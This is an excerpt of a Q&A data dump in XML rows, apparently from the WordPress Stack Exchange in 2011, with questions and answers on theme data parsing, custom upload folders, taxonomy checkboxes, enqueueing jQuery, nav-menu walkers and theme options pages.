  <row Id="26937" PostTypeId="2" ParentId="26935" CreationDate="2011-08-25T23:52:41.850" Score="0" ViewCount="" Body="&lt;p&gt;Have a look in &lt;code&gt;/wp-includes/functions.php&lt;/code&gt; at &lt;code&gt;get_file_data()&lt;/code&gt;, this is the function that pulls the data out of style.css, called from the &lt;code&gt;get_theme_data()&lt;/code&gt; function in &lt;code&gt;/wp-includes/theme.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-25T23:52:41.850" />
  <row Id="26938" PostTypeId="2" ParentId="26935" CreationDate="2011-08-25T23:55:44.200" Score="0" ViewCount="" Body="&lt;p&gt;This is adapted from how WordPress does it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$default_headers = array(&#xA;    'Name' =&amp;gt; 'Theme Name',&#xA;    'URI' =&amp;gt; 'Theme URI',&#xA;    );&#xA;&#xA;$theme_data = get_file_data('some-file.php', $default_headers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The get_file_data() function will search the specified file for the values in $default_headers ('Theme Name' and 'Theme URI'), and returns an array with the same keys as $default_headers, with the parsed values.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-25T23:55:44.200" />
  <row Id="26939" PostTypeId="1" AcceptedAnswerId="27069" CreationDate="2011-08-26T00:02:52.317" Score="0" ViewCount="25" Body="&lt;p&gt;So, i'm trying to find out a way to use two separate upload folders, being the default one &lt;code&gt;wp-content/uploads&lt;/code&gt; for general media uploads, and another one say &lt;code&gt;wp-content/custom&lt;/code&gt; for one specific type of attachments (PDF files attached to one specific post_type). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to keep'em separated both for organization and data security as the PDF files will hold somewhat sensitive data that should only be acessible by two custom user roles, while general media is, well, general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little embarrassed to show you the code i got working, because it's lousy, but here it goes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function custom_post_type_metabox_save_function($post_id) {&#xA;&#xA;    global $post;&#xA;&#xA;    // Verify auto-save, nonces, permissions and so on then:&#xA;&#xA;    update_post_meta($post_id, &quot;meta_key1&quot;, $_POST[&quot;value1&quot;]);&#xA;    update_post_meta($post_id, &quot;meta_key2&quot;, $_POST[&quot;value2&quot;]);&#xA;&#xA;// this is where it gets uply. I change the 'upload_path' to my desired one for this post type&#xA;    update_option('upload_path','wp-content/custom-upload-dir');&#xA;&#xA;// then upload the file to it&#xA;wp_upload_bits($_FILES[&quot;pdfexame&quot;][&quot;name&quot;], null, file_get_contents($_FILES[&quot;pdfexame&quot;][&quot;tmp_name&quot;]));&#xA;&#xA;// and then change it back to default... :$&#xA;    update_option('upload_path','');&#xA;&#xA;}&#xA;add_action('save_post','custom_post_type_metabox_save_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd really rather just have 2 upload files being one for this post-format and another for the rest. Is there a cleaner way to go about it?&lt;/p&gt;&#xA;" OwnerUserId="7890" LastActivityDate="2011-08-27T20:39:32.520" Title="Use a separate upload folder for custom post attachment upload" Tags="&lt;custom-post-types&gt;&lt;uploads&gt;&lt;urls&gt;&lt;folder-structure&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26940" PostTypeId="1" CreationDate="2011-08-26T00:40:39.117" Score="0" ViewCount="32" Body="&lt;p&gt;I want to upload images from custom options page, media-upload.php seems just perfect for the task, but there are two problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I. How to store &amp;amp; access the files?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;media-upload.php requires &lt;code&gt;post_id=123&lt;/code&gt; param &amp;amp; value (probably, in fact I have no clue where to find all the possible params, not in Codex I guess?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I don't want my image to be linked to any posts/pages at all. Its url should be stored as an Wordpress option so I could easily access / return the image. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of fake post_id like &quot;9999993&quot;, but Wordpress doesn't create thumbnails for posts that don't exist (ouch, correct me if I'm wrong, but tried it a few times already and the thumbnail never exists unless the post_id is real). Maybe there's a way of storing all the uploaded images under one post_id, but different IDs, names etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is - how to save uploads URL as theme option instead of posts (featured) image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;II. How to simplify media upload window itself.&lt;/strong&gt; By default it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/q3kCQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fine, but when user uploads an &quot;option image&quot; not post/page featured one - there should be only &quot;Use this&quot; instead of Title/Description, Aligment, Size etc. fields. Just like below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6UsuX.jpg&quot; alt=&quot;enter image description here&quot;&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to simplify media upload window like that?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-08-26T12:34:34.023" LastActivityDate="2011-08-26T12:34:34.023" Title="Uploading using media-upload.php?" Tags="&lt;media-upload&gt;" CommentCount="1" />
  <row Id="26941" PostTypeId="2" ParentId="26384" CreationDate="2011-08-26T01:22:50.330" Score="0" ViewCount="" Body="&lt;p&gt;I would combine your template loop with the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then insert some condition to the 1st loop and 2nd loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($paged == 1) {&#xA;//Show Special Content for First&#xA;&#xA;} else if($paged =&amp;gt; 2) {&#xA;//Show Content for pages greater than 2&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This probably would not work out of the box but it is definitely in the right direction by using more conditions to get the right settings you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, I am a new user with this account on the wordpress exchange, I can't post comments and ask that you combine the code with the &quot;get_template_part('loop')&quot; or the loop template. I could probably give a better answer from there. &lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2011-08-26T01:22:50.330" CommentCount="1" />
  <row Id="26942" PostTypeId="1" CreationDate="2011-08-26T02:04:02.073" Score="0" ViewCount="43" Body="&lt;p&gt;I'm modifying the plugin &lt;code&gt;Wordpress Frontend User&lt;/code&gt; for my custom post type(s).  What I need to edit is the custom taxonomy terms.  In order to do this, I need to list my terms as labels and have checkboxes associated with the labels (in the end associated with the taxonomy when I send a post update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have now is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jobsTerms = get_terms('jobtype',array( 'taxonomy' =&amp;gt; 'jobtype' )); &#xA;foreach($jobsTerms as $term){&#xA;    echo &quot;&amp;lt;label for='term-&quot; . $term-&amp;gt;slug . &quot;'&amp;gt;&quot; . $term-&amp;gt;name . &quot;&amp;lt;/label&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;input type='checkbox' name='term&quot; . $term-&amp;gt;slug . &quot;' value='&quot; . $term-&amp;gt;name . &quot;' /&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But other than that, I'm lost as to how to check to see if that post has a term selected (if so add &lt;code&gt;checked=checked&lt;/code&gt; to the input).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also lost as to how to update this taxonomy when I click submit (which fires a couple custom &lt;code&gt;update_post_meta&lt;/code&gt; calls and a &lt;code&gt;wp_update_post&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-26T13:08:02.433" Title="List taxonomy terms for post as checkboxes" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;wp-update-post&gt;" AnswerCount="1" />
  <row Id="26943" PostTypeId="1" CreationDate="2011-08-26T03:04:24.900" Score="0" ViewCount="22" Body="&lt;p&gt;I am using the mp3 player plugin &quot;mp3-jplayer&quot; which uses custom fields to display audio. The custom field format is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ID = TrackNumber mp3.Artist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value = SongTitle@SongURL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/x8Emb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am using meta-boxes to input custom fields as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_boxes[] = array(&#xA;'id' =&amp;gt; 'musicboxes',&#xA;'title' =&amp;gt; 'Music Box Head',&#xA;'pages' =&amp;gt; array('post'),&#xA;'context' =&amp;gt; 'normal',&#xA;'priority' =&amp;gt; 'low',&#xA;&#xA;'fields' =&amp;gt; array(&#xA;array(&#xA;        'name' =&amp;gt; 'Musicbox 1',&#xA;        'desc' =&amp;gt; 'ID',&#xA;        'id' =&amp;gt; '1 mp3.Artist',&#xA;        'type' =&amp;gt; 'text',&#xA;        'std' =&amp;gt; '',&#xA;    )&#xA;)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I input in the array ID field &quot;1 mp3.Artist&quot; the custom field does not update correctly (in other words, remains blank) and I'm thinking it's because there is a space between the number and the word &quot;mp3&quot;. So how would I (if its possible) still be able to keep the space so that the custom field functions properly with the mp3-jplayer plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I'm thinking it has something to do with using &lt;code&gt;&amp;amp;nbsp&lt;/code&gt; to create the space.&lt;/p&gt;&#xA;" OwnerUserId="6423" LastActivityDate="2011-08-26T03:04:24.900" Title="Adding unique characters inside an array" Tags="&lt;plugins&gt;&lt;metabox&gt;&lt;array&gt;" CommentCount="4" />
  <row Id="26944" PostTypeId="2" ParentId="26942" CreationDate="2011-08-26T03:22:23.217" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jobsTerms = get_terms('jobtype',array( 'taxonomy' =&amp;gt; 'jobtype' )); &#xA;foreach($jobsTerms as $term){&#xA;    $checked = (has_term($term-&amp;gt;slug, 'jobtype', $post-&amp;gt;ID)) ? 'checked=&quot;checked&quot;' : '';&#xA;    echo &quot;&amp;lt;label for='term-&quot; . $term-&amp;gt;slug . &quot;'&amp;gt;&quot; . $term-&amp;gt;name . &quot;&amp;lt;/label&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;input type='checkbox' name='term&quot; . $term-&amp;gt;slug . &quot;' value='&quot; . $term-&amp;gt;name . &quot;' $checked /&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace $post_id with whatever you need to get the ID, I'm not sure where exactly this code goes. It may be $post-&gt;ID.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastEditorUserId="7457" LastEditorDisplayName="" LastEditDate="2011-08-26T13:08:02.433" LastActivityDate="2011-08-26T13:08:02.433" CommentCount="2" />
  <row Id="26945" PostTypeId="1" CreationDate="2011-08-26T01:48:55.793" Score="1" ViewCount="49" Body="&lt;p&gt;Wordpress already comes with jQuery. But what if I want to use a jQuery plugin on the entire blog? What's the best way to include on the entire site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if I only want to include it on one particular post/page?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-26T04:10:30.377" Title="Include jQuery plugin in Wordpress" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="26946" PostTypeId="2" ParentId="26945" CreationDate="2011-08-26T02:43:36.547" Score="0" ViewCount="" Body="&lt;p&gt;Assuming you're following the overall rules for theme creation, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script()&lt;/a&gt; in header.php somewhere above the call to wp_head(), eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script('jquery'); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That doc page has a list at bottom of all the scripts that come bundled along with WordPress. Here's a &lt;a href=&quot;http://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/&quot; rel=&quot;nofollow&quot;&gt;more-focused walkthrough&lt;/a&gt; at Digging into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And what if I only want to include it on one particular post/page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It wouldn't be hard(cf. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page&quot; rel=&quot;nofollow&quot;&gt;is_page()&lt;/a&gt; and similar functions), but it probably wouldn't be worth the effort, either. If you can provide some more specific reason you'd want to do this, that might change, but overall: don't bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if later on you decide to have it on one more page? Then one more. And then maybe just those pages but also categories, and so on. Just include it globally and then use it or not. Beyond the first pageload, visitors will be using their cached copy and it won't be slowing anything down enough to matter.&lt;/p&gt;&#xA;" OwnerUserId="3370" LastActivityDate="2011-08-26T02:43:36.547" />
  <row Id="26947" PostTypeId="2" ParentId="26934" CreationDate="2011-08-26T03:48:08.043" Score="4" ViewCount="" Body="&lt;p&gt;You can do this using a custom walker. Paste the following class at the bottom of your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Nfr_Menu_Walker extends Walker_Nav_Menu{&#xA;&#xA;                /**&#xA;         * Traverse elements to create list from elements.&#xA;         *&#xA;         * Display one element if the element doesn't have any children otherwise,&#xA;         * display the element and its children. Will only traverse up to the max&#xA;         * depth and no ignore elements under that depth. It is possible to set the&#xA;         * max depth to include all depths, see walk() method.&#xA;         *&#xA;         * This method shouldn't be called directly, use the walk() method instead.&#xA;         *&#xA;         * @since 2.5.0&#xA;         *&#xA;         * @param object $element Data object&#xA;         * @param array $children_elements List of elements to continue traversing.&#xA;         * @param int $max_depth Max depth to traverse.&#xA;         * @param int $depth Depth of current element.&#xA;         * @param array $args&#xA;         * @param string $output Passed by reference. Used to append additional content.&#xA;         * @return null Null on failure with no changes to parameters.&#xA;         */&#xA;        function display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output ) {&#xA;&#xA;                if ( !$element )&#xA;                        return;&#xA;&#xA;                $id_field = $this-&amp;gt;db_fields['id'];&#xA;&#xA;                //display this element&#xA;                if ( is_array( $args[0] ) )&#xA;                        $args[0]['has_children'] = ! empty( $children_elements[$element-&amp;gt;$id_field] );&#xA;&#xA;                //Adds the 'parent' class to the current item if it has children               &#xA;                if( ! empty( $children_elements[$element-&amp;gt;$id_field] ) ) {&#xA;                        array_push($element-&amp;gt;classes,'parent');&#xA;                        $element-&amp;gt;title .= ' &amp;amp;gt;';&#xA;                }&#xA;&#xA;                $cb_args = array_merge( array(&amp;amp;$output, $element, $depth), $args);&#xA;&#xA;                call_user_func_array(array(&amp;amp;$this, 'start_el'), $cb_args);&#xA;&#xA;                $id = $element-&amp;gt;$id_field;&#xA;&#xA;                // descend only when the depth is right and there are childrens for this element&#xA;                if ( ($max_depth == 0 || $max_depth &amp;gt; $depth+1 ) &amp;amp;&amp;amp; isset( $children_elements[$id]) ) {&#xA;&#xA;                        foreach( $children_elements[ $id ] as $child ){&#xA;&#xA;                                if ( !isset($newlevel) ) {&#xA;                                        $newlevel = true;&#xA;                                        //start the child delimiter&#xA;                                        $cb_args = array_merge( array(&amp;amp;$output, $depth), $args);&#xA;                                        call_user_func_array(array(&amp;amp;$this, 'start_lvl'), $cb_args);&#xA;                                }&#xA;                                $this-&amp;gt;display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output );&#xA;                        }&#xA;                        unset( $children_elements[ $id ] );&#xA;                }&#xA;&#xA;                if ( isset($newlevel) &amp;amp;&amp;amp; $newlevel ){&#xA;                        //end the child delimiter&#xA;                        $cb_args = array_merge( array(&amp;amp;$output, $depth), $args);&#xA;                        call_user_func_array(array(&amp;amp;$this, 'end_lvl'), $cb_args);&#xA;                }&#xA;&#xA;                //end this element&#xA;                $cb_args = array_merge( array(&amp;amp;$output, $element, $depth), $args);&#xA;                call_user_func_array(array(&amp;amp;$this, 'end_el'), $cb_args);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in header.php (or whever your wp_nav_menu is) do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $walker = new Nfr_Menu_Walker(); &#xA;    wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary', 'walker' =&amp;gt; $walker ) ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key part of the walker is the following if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ! empty( $children_elements[$element-&amp;gt;$id_field] ) ) {&#xA;                    array_push($element-&amp;gt;classes,'parent');&#xA;                    $element-&amp;gt;title .= ' &amp;amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This checks if the item has children, and if it does it adds the 'parent' css class to it, and then changes the title from 'xxxx' to 'xxxx &gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Adapted from &lt;a href=&quot;http://wordpress.org/support/topic/wp_nav_menu-add-a-parent-class&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wp_nav_menu-add-a-parent-class&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-26T03:48:08.043" CommentCount="1" />
  <row Id="26948" PostTypeId="2" ParentId="26945" CreationDate="2011-08-26T03:55:46.110" Score="2" ViewCount="" Body="&lt;p&gt;A better method is to use the built in WordPress hooks in your functions.php with conditionals if needed ( for instance to load it only on certain pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For hooking into admin you can use &lt;code&gt;admin_print_scripts&lt;/code&gt; for hooking into the front you can use &lt;code&gt;wp_print_scripts&lt;/code&gt; or one of the many other action hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   // This is site wide ( I think)&#xA;&#xA;    function add_your_scripts() {&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;    add_action('wp_print_scripts', 'add_your_scripts');&#xA;&#xA;&#xA;   // same example but in admin only&#xA;&#xA;    function add_your_scripts() {&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;    add_action('admin_print_scripts', 'add_your_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A great example from codex deregister the built in jquery.js and registers the one hosted on google, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_scripts_method() {&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js');&#xA;    wp_enqueue_script( 'jquery' );&#xA;}    &#xA;&#xA;add_action('wp_enqueue_scripts', 'my_scripts_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also not there is a filter suffix for some of these hooks ( I just learnt about this) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if you want to load scripts only on 1 page you can  (using first example above).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_scripts-yourcustom-page.php', 'add_your_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-26T04:10:30.377" LastActivityDate="2011-08-26T04:10:30.377" />
  <row Id="26949" PostTypeId="1" CreationDate="2011-08-26T06:03:00.320" Score="1" ViewCount="44" Body="&lt;p&gt;I've created a wordpress theme and new in wordpress development &#xA;I want to create option page to take some values from user and I've little bit done with that but confused where and how to save that data &#xA;I want to create user interface in short.&lt;/p&gt;&#xA;" OwnerUserId="8184" LastEditorUserId="5395" LastEditorDisplayName="" LastEditDate="2011-08-26T09:42:33.827" LastActivityDate="2011-08-27T04:28:30.310" Title="How to create a theme option-menu page to save user values" Tags="&lt;themes&gt;" AnswerCount="5" />
  <row Id="26950" PostTypeId="2" ParentId="26949" CreationDate="2011-08-26T06:14:23.717" Score="0" ViewCount="" Body="&lt;p&gt;If you don't want to be bothered with coding the entire theme options, &lt;a href=&quot;http://wptheming.com/options-framework-plugin/&quot; rel=&quot;nofollow&quot;&gt;Options Framework Plugin&lt;/a&gt; can probably help you immensely. You just install this plugin and tweak the settings (what kind of user input you want to add, and so on). It will do the saving/retrieving/UI display tasks for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a &lt;a href=&quot;http://wptheming.com/options-framework-theme/&quot; rel=&quot;nofollow&quot;&gt;theme version&lt;/a&gt; for that plugin, which you can include into your theme so you don't have to rely on using a plugin.&lt;/p&gt;&#xA;" OwnerUserId="7737" LastActivityDate="2011-08-26T06:14:23.717" CommentCount="1" />
  <row Id="26951" PostTypeId="2" ParentId="26949" CreationDate="2011-08-26T06:37:19.760" Score="1" ViewCount="" Body="&lt;p&gt;update: All the following code should go into your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the best (and definitely the easiest) way to make a Theme Options Page is to use the Wordpress Settings API. One note... everywhere you see THEME_NAME in my code, just replace this with some unique phrase (I use my theme name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we need to tell WordPress that we are going to use some theme options. We do this by calling &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;register_setting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_theme_options_init()&#xA;{&#xA;register_setting( THEME_NAME . '_options_group', THEME_NAME . '_theme_options',  'validate_theme_options' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next create the actual options page where your options will be set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_theme_options_page()&#xA;{&#xA;&#xA;$page_title = 'Theme Options';&#xA;$menu_title = 'Theme Options';&#xA;$cap        = 'manage_options'; // capability required for access to this menu&#xA;$slug       = THEME_NAME . '-options';&#xA;$callback   = 'draw_theme_options_page';&#xA;&#xA;add_options_page( $page_title, $menu_title, $cap, $slug, $callback );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now add the 'draw_theme_options_page' function used as a callback in 'add_theme_options_page' that will output the HTML for your Theme Options page. In this example you can see that I add three fields: 1) A Facebook Page URL 2) A Twitter Handle 3) A  field to add twitter search terms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function draw_theme_options_page()&#xA;{&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Theme Options&amp;lt;/h2&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;    // this should be the same as the second parameter of register_setting() &#xA;    $opt_name = THEME_NAME . '_theme_options'; &#xA;&#xA;    // adds all the necessary hidden form fields&#xA;    settings_fields( THEME_NAME . '_options_group' );&#xA;&#xA;    // get the existing options&#xA;    $options = get_option( $opt_name );&#xA;&#xA;                // the options fields&#xA;    $opt = array(&#xA;        'fb_page' =&amp;gt; $opt_name . '[fb_page]',&#xA;        'twitter' =&amp;gt; $opt_name . '[twitter]',&#xA;        'twitter_search' =&amp;gt; $opt_name . '[twitter_search]',&#xA;    ); &#xA;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- Facebook Page URL --&amp;gt;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Facebook Page&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $opt['fb_page'] ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $options['fb_page']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;!-- Twitter Stuff --&amp;gt;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Twitter ID&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $opt['twitter'] ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $options['twitter']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;Twitter Search Terms&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $opt['twitter_search'] ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $options['twitter_search']; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;description&quot;&amp;gt;Please separate search terms using a comma&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to add our sanitizing function. This function just ensures that no badly formatted data is saved into our database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function validate_theme_options( $input ) &#xA;{   &#xA;$input['fb_page']        =  wp_filter_nohtml_kses( $input['fb_page'] );&#xA;$input['twitter']    =  wp_filter_nohtml_kses( $input['twitter'] );&#xA;$input['twitter_search'] =  wp_filter_nohtml_kses( $input['twitter_search'] );&#xA;&#xA;return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now lastly we actually need to tie all these functions into the correct Wordpress Hooks so that our Theme Options page is added and works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'add_theme_options_init' );&#xA;add_action( 'admin_menu', 'add_theme_options_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is almost verbatim what I use in my own Theme, but you may need to play with it a little bit and check for typos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for more information check out this &lt;a href=&quot;http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&quot; rel=&quot;nofollow&quot;&gt;post on adding Plugin Options&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5395" LastEditorUserId="5395" LastEditorDisplayName="" LastEditDate="2011-08-27T04:28:30.310" LastActivityDate="2011-08-27T04:28:30.310" />
  <row Id="26952" PostTypeId="2" ParentId="26936" CreationDate="2011-08-26T07:07:49.560" Score="0" ViewCount="" Body="&lt;p&gt;I suggest you do the following to troubleshoot:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;print_r($query_string);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;print_r($args);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Look at the two and see if you can spot your mistake. I can't tell as I don't have access to your same &lt;code&gt;$query_string&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't give you any clues, try &lt;code&gt;global&lt;/code&gt;:ing &lt;code&gt;$wp_query&lt;/code&gt; and look at its &lt;code&gt;query_var&lt;/code&gt;'s.&lt;/p&gt;&#xA;" OwnerUserId="7904" LastActivityDate="2011-08-26T07:07:49.560" CommentCount="1" />
